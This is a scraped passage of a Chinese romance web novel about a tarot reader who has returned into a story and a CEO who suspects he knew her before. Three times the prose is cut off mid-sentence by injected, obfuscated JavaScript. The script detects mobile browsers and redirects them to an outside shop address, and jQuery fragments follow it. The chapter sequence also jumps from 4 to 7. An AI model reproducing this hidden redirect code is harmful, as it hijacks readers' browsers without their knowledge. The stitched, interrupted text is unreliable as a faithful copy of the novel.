《女配她攻略又失败了》
2. 江湖骗子
程知也头痛欲裂,呲牙咧嘴地斜靠在办公椅上。
社畜打工人就是命苦,早知道就让系统再多关两年禁闭,给她安排一个富二代的身份多好。
她拿出一副塔罗牌,随手抽出三张。
恋人牌,权杖五,“宝剑十”逆位。
啧。
一大早手气这么差。
她干脆利落地把牌收起,双腿交叠搭在桌上,双手交叉,闭目养神。
工作室不大,拢共就两个人,程知也在睡觉,小助理在看剧。
走进工作室的一瞬间,顾良朝甚至怀疑自己是不是进错了地方。
小助理显然是认出了他,赶紧擦干净手指上的辣油,跑上前来。
“您好,请问您是来?”
那样子好像生怕他是来怒砸工作室的一样。
顾良朝扭头看她,随便胡诌了一句,
“来算算姻缘。”
“那您先在本子上登记一下,我去给您安排占卜室。”小助理随身抽出一个小小的笔记本,上面还夹了一支能换不同颜色的按动笔。
顾良朝忍着心里强烈的不靠谱的感觉,接过笔记本,认真填写下自己的信息。
过了一小会儿,小助理便走了回来,领着顾良朝往里面走。
“程总说您是贵客,所以安排了VIP房间,时间就稍微久了点。”
这么小一个工作室还有VIP房?
小助理走到工作室最里面的房间停下。
“请进。”
顾良朝额角狂跳,满是质疑的眼神扫视过面前这道流苏门帘,以及门帘旁边墙上贴着的几个醒目大字:总裁办公室。
“……”
掀开门帘,眼中映入一张熟悉的脸。
昨晚还发酒疯的女人此刻正襟危坐,笑容和煦地请他就座。
顾良朝在她对面的蒲团上盘腿坐下,微眯着眼睛大胆地打量起对面的人来。
“……”
“昨晚是我酒后失言,冒犯了顾总,今天特地想约您见面聊表歉意,本以为会被拒绝,没想到您会直接来这里,还望您大人不记小人过。”
程知也满面春风,上来就先一波道歉。
伸手不打笑脸人,认错认得快,顾良朝应该也不会再计较。
果然,顾良朝只是端起矮桌上的茶杯浅浅喝了一口,嗯了一声算是同意。
“既然这样,那我今天来这里的费用,麻烦程总给我打八折吧。”
程知也笑容僵在脸上,“啊…哈哈,当然,当然。”
“那顾总今天来是想咨询点什么业务呢?”程知也心里可惜,面上还得表现出一副波澜不惊的样子来。
“来算算姻缘。”顾良朝抬眼看向程知也,眼里酝酿着看不懂的情绪。
姻缘?
程知也心里得意。
要说算别人的姻缘,她倒不一定能算得准,这顾良朝的嘛,那不是手拿把掐。
她淡定地摸出一副塔罗牌,铺开摆在矮桌上。
“从面前的牌中抽取任意三张,我再为您解读分析。顾总是想自己来,还是由我代劳呢?”
“你来吧。”顾良朝放下茶杯,淡淡道。
程知也等的就是这句话。
随便摸了三张牌翻了过来。
“圣杯六”正位,“恋人”正位,“星星”正位。
程知也眼前一亮。
嚯,随手一摸居然这么准。
“如何?”顾良朝问道。
程知也轻咳一声,表情神秘地解读:
“圣杯六正位代表着这份姻缘与过去的回忆、昔日的好友息息相关;恋人牌代表着重要的情感;星星正位代表着希望与美好的遇见。”
“顾总的姻缘,远在天边,近在眼前。可以试试与旧友重逢,方可寻到自己命定的姻缘。”
“哦?”顾良朝指尖在桌面不规律地敲击。
话锋一转,“听说程总半个月前新开了乘风工作室,在这之前程总都在哪儿,都做些什么生意?”
“嗨呀,就在小县城里搞土特产批发的,这不是创业失败了嘛,索性来这儿开了个工作室从头再来。”程知也面不改色地收拾着桌上的牌。
这顾良朝什么意思?怎么突然问起以前的事来了?
土特产批发。
“挺好的。”顾良朝点点头。
“程总以前是在哪儿读的高中,大学又是在哪儿?”
程知也心弦紧绷。
“顾总这是,来查户口的吗?”
“程总别害怕,我只是觉得跟你有点投缘,想多了解一点,说不定我们还可以成为朋友。”顾良朝轻笑着打消她的疑虑。
程知也不敢掉以轻心。
上一回任务失败就是因为顾良朝的直觉太过敏锐,发现了系统的存在。
任务失败,她的专属系统也被关了禁闭,要是再出点什么差错,她可能这辈子都回不去了。
“说出来不怕你笑话,我没上过高中。”
程知也不卑不亢地直视着他。
顾良朝指尖一顿。
内心深处那个叫做“希望”的地方正在慢慢熄灭。
“程总这个名字让我觉得很亲切,好像在哪里听到过。”顾良朝怀着最后一点希冀试探。
“哦,我是个孤儿,从我记事起大家都这么叫我,顾总会觉得亲切,大概是因为这名字太大众了。”程知也堆起笑容。
顾良朝低下头轻笑,仿佛是在嘲笑自己的草木皆兵,丧失理智。
“那我就先不打扰程总了。”
程知也起身送他。
小助理拿过账单给她,程知也顺手签了名字,却没注意到身旁的顾良朝眼神一变。
“顾总?”程知也伸出手在他面前晃晃。
发什么呆呢?
顾良朝死死地盯着账单上“程知也”三个字,脑袋一瞬间像要爆炸一般剧烈的疼痛,痛苦的弯下腰,双手紧紧捂着脑袋。
“你没事儿吧?”程知也被他疯魔的样子吓到,手足无措地跟小助理对视上。
他这什么毛病?
顾良朝强忍着疼痛直起身,深深地看了她一眼,随后走出了乘风。
……?
——
顾良朝脱力般重重倒在床上,双眼清明地看着洁白的天花板。
“程知也”三个字,他在梦里见过无数次。
每一次,都由同一个人同一只手握笔写下。
那是十八岁的自己。
即使是梦境,顾良朝也能清楚地感知到,他是怀着怎样的心情一遍遍写下她的名字。
梦里面,在名字的结尾处,笔迹往往连尾勾勒出一个小小的心型。
而那位自称没上过高中的程总竟然也有这个习惯。
顾良朝不相信这又是所谓的巧合。
可刘特助查出来的信息又与她说的一样,证明她所言不假。
顾良朝觉得自己就快疯了。
因为一个梦里见到过的名字,因为苏若锦随意的一句话,他就自乱阵脚。
可笑至极。可悲至极。
……
程知也挠了挠头,咬着笔杆想了想。
顾良朝黑化的原因到底是什么呢?
她记得在剧情重置以后系统清除了所有人的记忆,顾良朝完全没有黑化的原因啊。
看来要想控制住局面,就得先弄清楚他为什么会黑化。
知己知彼,百战不殆。
程知也很快做好了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284283|198420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
决定。
——
“程总,GC科技的刘特助刚才打来电话,说想约明天下午的时间。”程知也刚进工作室,小助理就赶紧汇报。
又约?
正好,程知也也有这个意思。
“那明天上午有安排吗?”
“没有。”
“今天呢?”
“也没有。”
“……”
程知也觉得,再这么下去她都要无产可破了。
自古以来,说书先生、能人异士、英雄掮客哪个不是先扩大了名声才得到伯乐赏识。
程知也虽然只是一介初入行的菜鸟,却深知营销的重要性。当即拍板决定:要把乘风的名号先打出去!!
于是三下五除二打印了一大堆传单,带着小助理,两个人轰轰烈烈地发传单去了。
......
湘南酒馆二楼。
顾良朝正和盛铭的萧总说着话,包厢外传来一阵骚乱的声音,他不由得皱了皱眉。
萧总放下酒杯,嘴角噙着一丝笑意,“听说你前几天跑去见了个懂风水的,感觉如何?”
顾良朝动作一顿,“你听谁说的?”
他去乘风这件事除了刘特助之外没人知道。
“这还用听谁说?”萧总脸上的笑意逐渐扩大,仿佛在说什么有趣的八卦,“人家工作室自己发的传单,我在传单上看到的。”
顾良朝眉心一紧,脸上表情烦躁得不行。
“什么乱七八糟的?”
“哈哈哈哈哈……没想到啊顾良朝,你居然还信这些,还算姻缘?你不打算继续等你的白月光了?”
GC科技的顾总年轻有为,有着得天独厚的外貌,常人难以企及的家世,却唯独不近女色。
圈内盛传,他有一个爱而不得的白月光初恋,皎皎如月光,窈窕似仙女,旁人入不得他的眼。
深情款款的顾总竟然跑去找一个江湖骗子算姻缘,真是令人大跌眼镜。
刘特助去了半天还没回来,顾良朝更不想坐在这儿听姓萧的嘲讽他。
“你懂什么。”
顾良朝满脸写着不爽,拿起外套就往楼下走,正巧看见嘈杂声的来源。
刘特助好不容易才从人群中挤出来,跑到顾良朝面前,“顾总,那边有人在拼酒。”
顾良朝凝视着人群中央那个喝得满脸通红的人,拿出手机拨了个电话。
……
沈绣正喝得起劲,吆喝着让人继续跟她比试,突然后背一凉。
一双修长秀丽的手毒蛇一般紧贴着腰际环绕上来,湿热的呼吸拍打在她颈侧,惹来阵阵颤栗。
手里的酒杯被强行夺下,一道令人头疼的声音骤然从上方传来:
“抓到你了,小狐狸。”
苏若锦牢牢扣住她的手,牵着她大步往外走,一边掏出手机拨通了电话。
“多谢。”
电话里传来一道冷沉的声音:
“乘风那个人,你为什么会突然怀疑她?”
苏若锦伸出右手把旁边的人紧紧揽在怀里,抬起头看了看天。
“上次在湘南酒馆门口,我看见了她。不知道该怎么跟你解释,总之,在我看到她之后的第二天,赵瑾晔回国了。”
“这跟他有什么关系?”顾良朝狠狠拧眉。
“咱俩的梦是不一样的,我有预感,赵瑾晔,你,我,我们三个人之间肯定存在着某种必然的联系,而打破这种平静的源头,就是那个人。”
就像命运的左手一样,推动着他们三个走向某种既定的结局。
苏若锦动作轻柔地理了理怀中人额前的发丝。
不管那个人要将她推到哪里,她都绝对不会再让自己失去。
3. 试探一二
累了一天,程知也无力地瘫倒在床上。
发传单这活儿根本就不是人干的,要放在以前,她出去发一天的传单还能挣五十块钱,这会儿自己当老板,还得倒贴钱打印。
“命运真是令人头疼啊。”她喃喃道。
“叮咚—叮咚—”
程知也一骨碌从床上爬起来,踩着拖鞋啪嗒啪嗒地去开门。
“你好,是……”
……外卖吗?
顾良朝换了一身休闲服,头发没有打摩丝,随意蓬松地垂下,眼里褪去了往日的严肃,取而代之的是轻松自然的笑意。
“是我。程总,冒昧叨扰,还请谅解。”
“啊,请进。”程知也后退两步让开,满脑子都是问号。
他怎么来了?
不对,他怎么知道我住这里?
顾良朝换了拖鞋,像在自己家一样轻松,眼里是毫不掩饰的好奇。
程知也搓着手,像第一次来自己家一样紧张,亦步亦趋地跟在顾良朝身后,干巴巴地开口道:
“顾总,我记得您约的时间好像是,明天下午?”
顾良朝在沙发上坐下,拿起一个苹果十分干脆地咬了一口。
“嗯。”
程知也不自觉地咬了咬嘴边的死皮。
嗯啥嗯啊,听不出言外之意吗?
就这样堂而皇之的登堂入室真的好吗顾总!?
“那您今天突然来,是有什么事吗?”
程知也在沙发的另一边坐下。
无事不登三宝殿,这人直接打上门来了,肯定没什么好事。
“我今天收到了一份传单。”顾良朝一边咬着苹果一边若无其事的开口。
!
“传单上说,我浪子回头,回心转意,决定追寻自己的天定良缘,于是花高价请了塔罗师给我算姻缘。”说着,他用力地咀嚼着苹果,眼神紧紧地盯着程知也。
“啊,是这样啊,顾总,我觉得我有必要澄清一下,我那真不算什么高价,我还给您打八折了,您还记得吗?”
程知也满脸真诚地看着他。
天地良心,她都血亏了好吗?
“确实不算高价。”顾良朝抽出一张纸巾擦手,“做生意嘛,必要的营销还是要有的,但是言不符实就有点虚假宣传了,你说是不是?”
程知也心头一跳。
那传单是她打印的,可内容是小助理写的,程知也只交代了要吹牛,还要跟GC多沾点关系,这样好蹭流量。
虚假宣传?
程知也不明所以地望着他。
顾良朝将纸巾扔进垃圾桶,目光幽深地看向她。
“程总才到A市不久,可能不太了解。我一直对我的白月光初恋念念不忘,多年来呕心沥血只为做出一番成绩,好让她能够轻易地看到我。”
程知也扯了扯嘴角。
原来顾良朝的故事设定已经改成这个样子了吗?
啥白月光、朱砂痣的,程知也默默在心里唾弃。
“我不反对你借GC的名头打广告,但是,以后像'浪子回头'、'回心转意'这样的词汇还是不要再出现为好。”顾良朝微笑着,语气轻松地好像是真的在跟她商量一样。
程知也赶紧保证,“我知道了顾总,以后绝对不会再出现这种事情!”
顾良朝满意地点点头,低头看了看表,语气惊讶,“怎么就七点了,都到吃晚饭的时间了。”
程知也似有所感,低着头不敢应声。
“程总,这附近你比较熟悉,要不你就请我吃顿饭吧,传单的事情我既往不咎。”顾良朝笑眯眯地征求她的意见。
“......”
程知也心道果然。
眼下不好发作,她只能顺坡而下。
“那顾总稍坐一会儿,我去换身衣服。”
“不着急,你慢慢换。”
程知也赶紧回房间找衣服。
沙发上,顾良朝的脸色一下子变得阴沉。
若真如苏若锦所说,这个人的出现会带来蝴蝶效应,那么是不是代表着,只要从她下手,就能够弄清楚关于那个人的一切谜团?
程知也深呼了一口气,拿起钥匙,转头对顾良朝道,“走吧顾总,我请你吃饭。”
——
苏若锦刚走进别墅,就听到二楼传来一阵玻璃碎地的声音,心下了然。
佣人接过外套,低声汇报着楼上那位的情况。
“沈小姐只喝了点粥,情绪还是很不稳定,一直吵着要出去。”
苏若锦嗯了一声,“看好她。”
“是。”
过了一会儿,楼上的人似乎是砸累了,声音渐渐小了下来。
苏若锦端了一碗热腾腾的鸡汤上楼。
卧室里一片混乱,地板上全是碎瓷片和玻璃渣,她赶紧把碗放在一旁的桌上,快步走到床边将被子掀开。
被光线刺到眼睛,沈绣忍不住瑟缩了一下。
苏若锦从头到脚地将她审视了一遍,没有发现新的伤口,她松了口气。
“你又跟我闹什么脾气?”她一边将沈绣扶起,拿了个枕头垫在身后,一边把汤端过来,吹冷了小口小口地喂她。
沈绣冷哼一声。
“谁向你告的密?”她质问道。
苏若锦停顿两秒,选择坦白,“顾良朝。”
“呵,我就知道,他自己都还满世界地找游魂,倒是有这个闲工夫来管别人的闲事,我诅咒他一辈子也见不到那个人!”
苏若锦轻笑,“你这话可千万别在他面前说,要不然,连我都护不住你。”
沈绣喝了一大碗鸡汤,不想再听她废话,一骨碌蒙进被子里。
这两人都是神经病。
一个变态跟踪狂,一个臆想症晚期,难怪能玩到一起。
……
程知也带着顾良朝去了她常去的一家小店,点了几个经常吃的小菜,又把菜单递给顾良朝。
“你来点吧,我没有忌口。”顾良朝把菜单递回去。
程知也只好又点了几道菜,特地交代老板不要放味精。
顾良朝嘴角勾起一丝弧度,“程总对味精过敏吗?”
程知也一愣,随后接话,“对,味精过敏。”
“这么巧,我也对味精过敏呢。”
程知也只能干笑两下,企图打哈哈糊弄过去,“是挺巧,不过这家店上菜比较慢,可能得多等一会儿。”
顾良朝垂眸,“没事,我等得起。”
等菜上齐,程知也确实也饿了,拿起筷子就开始夹菜。
顾良朝看着面前的八道菜,有五道是自己喜欢吃的。
他拿起筷子,伸向放在边缘的折耳根。
“……”
程知也扒饭的动作停下,眼珠子震惊地看着顾良朝的筷子。
“怎么了吗?”顾良朝夹着一根折耳根送到嘴边,满脸茫然地问道。
“没事没事,你多吃点。”程知也不敢说话,赶紧低头扒饭。
顾良朝将折耳根递到口中,凝视着低头认真吃饭的某人,一点一点的咀嚼吞咽,眼底闪过狂暴的阴翳。
吃完了饭,顾良朝以消食为由,提出要在附近散散步。
程知也不好拒绝,只能答应陪他一起。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284284|198420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“程总平时都做些什么?”
“就在家休息,睡觉什么的。”程知也边走边踢着一块小石子。
“不觉得单调吗?”顾良朝认真地问她。
“其实还好吧,主要是我在这里也没几个认识的人,更别说能一起出来玩的朋友。”程知也叹了口气。
“如果程总不嫌弃的话,不知道顾某有没有这个荣幸,能做程总的朋友。”顾良朝诚心自荐。
程知也惊讶地停住,眼前飘过三个加粗的大字:
黑化值。
计划第一步:接近顾良朝。
程知也疯狂点头。
顾良朝弯起嘴角,“既然是朋友,叫什么“总”之类的太生分了,要不你以后就叫我良朝吧,”他用极其惑人的语气靠近程知也,
“我可以叫你知也吗?”
程知也脸颊一热,目光闪躲,支支吾吾,“这个,嗯,我觉得不太好。你还是叫我全名吧。”
她抬起手抓了抓耳朵。
顾良朝收起逗弄的心思,正色道,“好。”
“我有个朋友,最近刚回国,有机会介绍你们认识认识。”
程知也自然说好。
——
看着程知也走进家门,顾良朝嘴角逐渐下降,拉成一条直线。
她果然早就认识他。
为什么装作不认识?
他们之间肯定发生过什么,可为什么他记忆里没有关于这个人的信息?
程知也欣喜若狂地跳趴在床上,兴奋地抱着枕头滚来滚去。
她跟顾良朝是朋友了诶!
想到什么,她直起身来。
看到系统还是处在关禁闭状态,程知也心底涌上一丝失落。
要不是她任务失败,007也不会被关禁闭这么久。
还有四个月它就能解封,到时候她就能看到顾良朝的好感度和黑化值啦!
想到这里,程知也瞬间觉得生活又有了动力。
——
A市机场。
一道高大魁梧的身影从机场门口走出,浑身散发着一种“老子最拽”的气质,戴着一副香奈儿最新出的墨镜,嘴里还嚼着口香糖,指尖的烟缓缓燃烧着。
手机铃声响起,他把电话递到耳边。
“赵哥,你可算回来了,哥几个在金碧包了场,庆祝你凯旋归来,今晚不醉不归!”
“成,多叫几个兄弟,开最贵的酒,记我账上。”
“好嘞赵哥!”
挂了电话,赵瑾晔仰头看天,嘴边露出一个张扬得意的微笑。
程知也正睡着呢,小助理一个电话打过来,催命似的叫她赶紧去工作室。
紧赶慢赶,程知也左脚刚踏进工作室,小助理弹跳似地贴上来。
“程总!大单子!”
程知也顿时笑开,“什么大单子?”
“A市最大的夜总会——金碧的老板,说是要在会所里增加一些琉璃灯,想邀请你去帮忙看看方位。”
“给多少钱?”
小助理一脸兴奋地比了个手势。
“好!我去!”
程知也春风得意,最近真是好运连连,日子要发达起来了。
金碧。
赵瑾晔躺在沙发上,一手捏着烟,烟雾掩住脸上的表情,让人捉摸不透。
“人请了吗?”
一旁的王科赶紧凑上前去,点头哈腰地回道:“请了请了,今晚八点准时到。”
赵瑾晔满意地笑,将剩下的烟扔到他手里。
他倒要看看,顾良朝找的这个占卜师,能不能算出来他哪天会跌落云霄。
4. 金碧怀仙
金碧门口,王科嘴里叼着根烟,眯起眼睛盯着外面。
忽然,他目光一定,抬手将嘴里的烟拿下。
黑色奔驰在金碧门前缓缓停住,车门被由里向外打开。来人一身纯白,纤细修长的身形被恰到好处地勾勒出来,极简风格的白色衬衫,领口处绣着不甚明显的纹饰,堪堪被微卷的短发遮住一半,夜风卷过,那人侧身看过来,一双漂亮的眼睛不含任何情欲,只在冷风中凛冽。
程知也指尖不自主地瑟缩。
靠,A市也太冷了。
小助理也冷得发抖,“程总,咱们先进去吧。”
手里的烟缓缓燃烧着,直至烟灰落地,王科才看清那人领口处的纹饰——
一株浅紫色的鸢尾。
指尖被灼烧到,他才猛然回过神来。
程知也打量着他,抬手不自觉地蹭了蹭鼻尖,礼貌开口:“请问是谢经理吗?”
王科将手里的烟掐灭,轻咳一声,“你就是那个看风水的?”
程知也微笑点头。
对,没错,我就是那个破看风水的。
“走吧,我带你进去。”
......
顾良朝放下文件,看了眼外面的天色。
刚打算拨内线叫杯咖啡,手机铃声却突兀的响起。
“什么事?”
那人大着舌头:
“我在金碧,你来不来?”
“不来。”
电话那头的人好像受了很大的打击,顿时鬼哭狼嚎:“我就知道!我根本不是你最好的兄弟!!你满脑子都是你的初恋,连苏若锦都知道她,就我不知道!我要被推出去卖了联姻你也不关心!!!——”
“......”
顾良朝无奈地揉了揉眉心。
“等着。”
程知也观察着金碧内部的装饰,内心疑惑。
要按照金碧高端贵气的装修风格,目前这些灯是最合适的,按风水上看,摆位也正好,换了琉璃灯不一定有现在的效果。
王科边走边悄悄看身旁的人。
浅黄色灯光下,精致的面庞也染上一分柔和,将骨相带来的凌厉的攻击性减弱了几分,却依旧美得令人屏住呼吸。
现在的塔罗师都长得这么出众吗?
抬手敲了敲,他推开门。
“赵哥,人到了。”
沙发上吞云吐雾的人悠悠地睁开眼,眼神散漫,最终定格在他身后的人脸上。
原来是个女的。
他内心不由得嗤笑,几年不见,顾良朝也成了这种货色。
程知也在看到他的那一瞬狠狠皱眉。
赵瑾晔怎么在这儿?
上一次她任务失败,除了男二顾良朝突然崩人设,很大一部分原因跟原书男主赵瑾晔有关,只不过那时候情况紧急,她选择了剧情重置,主角几人的关系后来发展成什么样还未可知。
程知也回想着,她重置了剧情,按照原书结局,男主和女主在高考后互表心意,男二苦恋失败黯然神伤。
很大可能,女主还是跟赵瑾晔在一起了。
所以,顾良朝黑化的原因是暗恋失败?
程知也脑子里乱想一堆,忽然很想念007。
赵瑾晔坐直起来,重新点燃一支烟,招招手示意她进来。
程知也心里虽然很不愿意走进这个烟雾缭绕的房间,想到今天来这里的原因,还是走了进去,在距离赵瑾晔最远的沙发上坐下。
“程总要不先自我介绍一下?”赵瑾晔向后靠,语气散漫地开口道。
“程知也。”
她抿了下唇,露出一个官方的微笑表情。
赵瑾晔将这三个字在舌尖滚过一遍,略有兴味地问,“听说程老板算塔罗牌很准,就连GC的顾总都说好,赵某慕名而来,想请程老板帮忙算算事业运。”
他这话一出,程知也顿时明白过来。
大单子是假,小套路是真。
她不由得在心里惋惜未曾谋面的圆子。
“多谢赵先生看重,只是难免要让赵先生失望了,”程知也站起身,语气略带歉意,“我今天没带塔罗牌。”
说着,她朝小助理使了个眼神,抬脚便要走出去。
“等等。”
赵瑾晔露出一个痞气的表情,“程老板能给别人算,却唯独不能给我算,这是哪门子的道理?”
听这话的意思,不给他算就不让人走了。
程知也敛下嫌恶的表情,平淡转身,“巧妇也难为无米之炊,赵先生先是自称金碧的谢经理来骗我,如今又要我一个没带牌的塔罗师给你算牌,强人所难是赵先生的爱好吗?”
重来一次,这人远比高中那会儿更令人不适。
赵瑾晔嗤笑一声,起身朝她走了过来。
包间门没关全,程知也思考着自己带上助理跑出去刚好遇见好人的概率。
“确实。”赵瑾晔眼神恶劣地笑着,将猩红的烟递到程知也面前,“我刚回国,还不想这么快就扫兴,香烟配美人,程老板把剩下半根抽了,我让你走。”
二手烟充斥着程知也的鼻腔,她忍住想打喷嚏的感觉。
正当她准备抬手将那半支烟打落时,横空伸出一只手来,稳稳钳制住赵瑾晔的手腕,手腕吃了重力,不受控制地一歪,半截臭烟登时掉落在地面。
赵瑾晔抬眸看向程知也身后的人,面上表情由痛苦变成阴狠,挑起一边嘴角,语气冷沉,一字一顿地说:“顾、良、朝。”
程知也满头黑线地从两人对峙的手旁边挪开。
顾良朝用力将赵瑾晔的手扔开,偏头去看程知也的表情。
包间里有人鬼叫吵得他头疼,好不容易出来透透气,就看见一个眼熟的人,在被逼着吸二手烟。
“??”
程知也仰起头直直地看向他,顾良朝逆着光,她有些看不清他脸上的表情。
赵瑾晔扭了下有些酸痛的手腕,冷笑出声:
“顾总好风流,这一出英雄救美来得正是时候。”
顾良朝动作缓慢地转过身,眼眸紧盯着他,“看来你在国外这几年过得很舒服。”
赵瑾晔冷哼一声,露出笑来,“托顾总的福,这五年多我一直都记挂着顾总,所以一回国就迫不及待想见见这位塔罗师,算算我下次再被赶出国是什么时候。”
程知也目光在两人身上不停转来转去。
赵瑾晔后来出国了?跟顾良朝有关?
五年多,也就是说,在程知也选择剧情重置后不久,高三下半年?
那苏若锦呢?难道她没有接受赵瑾晔的告白?
现在的剧情走向已经不再是程知也所能预料到的,上次有原著帮忙,所以她能提前预知剧情,可是现在是原著结局之后的时间线。
这五年到底发生了些什么?顾良朝又为什么黑化?
程知也觉得这个任务比上次艰难了太多。
“是吗?”顾良朝伸出手,将程知也拉到身后,垂眸俯视着赵瑾晔,语气冰冷地开口道:“用不着算,我来告诉你,”他面无表情,“你大可继续来招惹我,有一次算一次,你自己估计,看赵氏能撑住几回。”
话音刚落,赵瑾晔表情扭曲,脸色变得相当难看。
当初他被父亲毒打了一顿,丢到国外自生自灭,过了两三年父亲态度才稍微好转,偶尔的电话联络里还一直在说遭到顾氏打压,家族苟延残喘的事。
赵瑾晔纵然恨极了顾良朝,却也不得不暂时屈服于家族存亡的大局。
见他没话要说,顾良朝转身将程知也和小助理一起带走。
程知也亦步亦趋地跟在他身后,脑子里还想着理清现在的剧情线。
一不留神就撞上了顾良朝的后背。
程知也捂着脑袋,懊恼地抬头,眼神疑惑地询问着他。
怎么突然停下?
顾良朝瞥了她一眼,伸手把门推开,径直走了进去。
程知也揉揉脑门,让小助理先回去,自己跟了进去。
包间里除了顾良朝还有一个人,醉醺醺地瘫在地上,嘴里唱着伤心的歌。
程知
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284285|198420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也越听越熟悉,走近后低头一看。
这人跟高中那会儿相比变化不大,仍旧留着一头利落的板寸,如今爱上了染发,像个金灿灿的荷包蛋。
荷包蛋泪眼朦胧,双手紧握着话筒,心碎地仰起头朝她看来。
“......?”
他哽咽难听的歌声骤然停下,呆愣愣地坐起身来,眼睛还直勾勾地盯着程知也。
她微微弯下身,朝地上的人伸出手,“初次见面,我是程知也。”
程知也微微笑着,心里默默换了一句好久不见。
那人赶紧用衣服擦了擦手上的眼泪,握住程知也的手,“你好,我叫宋怀仙,是阿朝的好朋友。”
顾良朝自顾自地在沙发上坐下,拿起桌上的酒杯倒了一杯白水。
程知也手上用力,宋怀仙顺势从地上起来,眼神有些不好意思地冲她笑笑。
“阿朝,你跟这位程小姐是怎么认识的啊?”他走到顾良朝对面坐下,抹着脸询问道。
程知也走到另一边坐下,眼神转向正在喝水的顾良朝。
“算命。”顾良朝漫不经心地放下酒杯,眼神低垂,余光却始终观察着不远处的程知也。
“噗——”宋怀仙呛咳几声,用难以置信的眼神扭头向程知也求证。
程知也干笑一下,算是默认。
“刚才多谢你,”她看向顾良朝,“下次来算命还给你打八折。”
顾良朝眼底浮现不明显的笑意,嗯了一声算作回应。
宋怀仙真信了她说的话,凑到跟前问,“我来算命不用打折,算完请程小姐吃饭可以吗?”
“......”
顾良朝偏头朝她看来,眼神里流露出看不清的意味。
程知也表情挑不出错,依旧微笑着,“提前预约的话,说不定可以。”
顾良朝眉梢一挑。
宋怀仙当即掏出手机,要加程知也微信。
“知也,你微信头像还挺好看的。”
他自动换了称呼,程知也摸了摸鼻尖,尴尬地应和几声。
没想到顾良朝也掏出手机,语气不咸不淡,“方便我提前预约算命。”
“......”
程知也只能又加上他。
宋怀仙不打算继续发疯,笑着问程知也家住哪里,要顺路送她回去。
“远得很,况且我后面还有事,估计得晚点才能回去。”程知也满脸遗憾地拒绝。
“约会吗?”宋怀仙紧巴巴地看着她。
“......”
程知也笑着摇摇头。
三人沉默着下楼,程知也走到车前,从小助理手里接过披肩围上,扭头朝站在原地的两人道:“下回再见。”
目送着车子离开,宋怀仙脸上表情变得正经,“阿朝,你俩什么关系?”
顾良朝睨了他一眼,语气淡淡地反问,“你觉得是什么关系?”
“说不准,但你肯定对她感兴趣,”他语气笃定地开口,“除了她,我就没见你对哪个女人这么和善,”顿了一秒,“苏若锦不算。”
高三下半年,顾良朝突然跟苏若锦关系好了起来,也不是要谈恋爱那种暧昧关系,反而是不冷不热,五年多了也没发现有要在一起的苗头,像合作伙伴一样固定时间碰头,后来又听说她跟A大的一个女教授关系斐然,宋怀仙就彻底不关心他俩之间的发展了。
又想起来什么,他语气有些小心翼翼,眼神里是藏不住的担忧,“......你那位,找到了吗?”
顾良朝高三的时候谈过一个同班的女朋友,也是唯一一个,分手了才让宋怀仙知道。虽然他压根儿就没见到过那个女生,连名字都没听说过。
不过结合顾良朝失恋后的种种疯魔行为,宋怀仙猜测他是鬼上身了。
因为在宋怀仙得知好友隐瞒自己谈了一场失败的恋爱之后,他到处打听,得到的结果却令人毛骨悚然——
倒是有这么个人,也叫“程知也”,在另一个班级,高三才转学过来,问到她和顾良朝的恋情,一脸茫然。
7. 俄而雪骤
吃完饭,顾良朝送程知也回了工作室。
“土特产的事就拜托程老板了。”
一路上他一口一个‘程老板’,程知也都快应激了,赶紧出声制止:
“我知道了,顾良朝。”
名字,一个代号而已,搞不懂他为什么这么执着,一定要让她这么称呼。
顾良朝笑了下,“行,那我该怎么称呼你呢?”
他这话问得奇怪,明明第一次来工作室的时候就已经问过她名字。
“叫我全名就行。”她给出一个保守的答案。
顾良朝朝她走近一步,仔细看着那颗小痣。
他不相信任何巧合。
“程知也。”
程知也愣愣地抬头,“干嘛。”
“你鼻子上的痣,”他目光幽深,“是一直都有的吗?”
程知也被问得一愣,倒拿手机,对着阳光照镜子。
确实有一颗,小小的,她一直都没怎么注意到。
“应该是吧,我没怎么在意过。”她收起手机,问道,“怎么了吗?”
该不会要告诉她这颗痣会挡财运吧?
她警惕地摸了摸那个位置。
“没什么。”顾良朝摇头。
他低头看了眼手机,“那我先走了。”
“行。”
回到车上,顾良朝看着手机上来自同一个人的几通未接来电,停顿两秒,把手机扔在副驾驶位。
刚到办公室坐下,手机又振动个不停,顾良朝敛眉,手指轻划接通。
那人话里压不住的烦躁。
“怎么才接?”
“注意你的语气,我不是你的下属。”顾良朝靠在办公椅上,淡淡地问,“什么事?”
“你认识盛铭的萧总,”陈述的语气,“能不能介绍我们认识?”
顾良朝把手机放在一旁,“原因。”
那边深吸一口气,“我爸知道了。”
